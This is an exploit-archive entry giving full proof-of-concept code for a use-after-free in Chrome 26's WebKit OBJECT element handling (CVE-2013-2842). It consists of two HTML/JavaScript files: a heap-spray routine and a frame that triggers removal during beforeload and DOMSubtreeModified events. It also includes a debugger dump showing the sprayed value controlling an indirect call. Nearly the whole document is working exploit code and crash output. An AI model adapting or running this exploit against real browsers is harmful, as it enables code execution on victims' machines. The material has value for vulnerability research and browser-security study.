Google Chrome 26.0.1410.43 (Webkit) - OBJECT Element Use After Free PoC



EKU-ID: 5784 CVE: 2013-2842 OSVDB-ID:
Author: Google Security Research Published: 2016-08-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#---object-beforeload-chrome.html---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
    <head>
        <script>
            function sprayOne(mem, size, v) {
                                var a = new Uint8ClampedArray(size - 20);
                                for (var j = 0; j < a.length; j++) a[j] = v;
                var t = document.createTextNode(String.fromCharCode.apply(null, new Uint16Array(a)));
                                mem.push(t);
            }
            function dsm(evnt) {
                // spray
                var mem = [];
                for (var j = 20; j < 8192; j++) sprayOne(mem, j, 0x43);
                
/*
 
Chromium release build 28.0.1461.0 (191833), built with options:
 
GYP_GENERATORS=ninja GYP_DEFINES='component=shared_library mac_strip_release=0' gclient runhooks
 
lldb attached to Chromium in --single-process mode:
 
* thread #28: tid = 0x3803, 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155, stop reason = EXC_BAD_ACCESS (code=1, address=0x43434617)
    frame #0: 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155
   152      virtual IntRect borderBoundingBox() const { return pixelSnappedBorderBoxRect(); }
   153 
   154      // The content area of the box (excludes padding - and intrinsic padding for table cells, etc... - and border).
-> 155       LayoutRect contentBoxRect() const { return LayoutRect(borderLeft() + paddingLeft(), borderTop() + paddingTop(), contentWidth(), contentHeight()); }
   156      // The content box in absolute coords. Ignores transforms.
   157      IntRect absoluteContentBox() const;
   158      // The content box converted to absolute coords (taking transforms into account).
 
(lldb) reg read
General Purpose Registers:
       eax = 0x43434343
       ebx = 0x12ae436c
       ecx = 0x00000018
       edx = 0x0edab374
       edi = 0x0edd6858
       esi = 0x12ae436c
       ebp = 0xb9bf8e38
       esp = 0xb9bf8d50
        ss = 0x00000023
    eflags = 0x00010286
       eip = 0x07b617e4  libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
  libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172
        cs = 0x0000001b
        ds = 0x00000023
        es = 0x00000023
        fs = 0x00000023
        gs = 0x0000000f
 
(lldb) disass
libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172:
-> 0x7b617e4:  calll  *724(%eax)
   0x7b617ea:  movl   %eax, -180(%ebp)
   0x7b617f0:  movl   (%ebx), %eax
   0x7b617f2:  movl   %ebx, (%esp)
 
*/
            }
        </script>
    </head>
    <body>
        <iframe src="object-beforeload-frame-chrome.html"></iframe>
    </body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
 
 
 
 
 
#---object-beforeload-frame-chrome.html------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
    <head>
        <script>
            var nb = 0;
            function handleBeforeLoad() {
                if (++nb == 1) {
                    p.addEventListener('DOMSubtreeModified', parent.dsm, false);
                } else if (nb == 2) {
                    p.removeChild(f);
                }
            }
            
            function documentLoaded() {
                f = window.frameElement;
                p = f.parentNode;
                var o = document.createElement("object");
                o.addEventListener('beforeload', handleBeforeLoad, false);
                document.body.appendChild(o);
            }
 
            window.onload = documentLoaded;
        </script>
    </head>
    <body></body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
 
## E-DB Note: Source ~ https://bugs.chromium.org/p/chromium/issues/detail?id=226696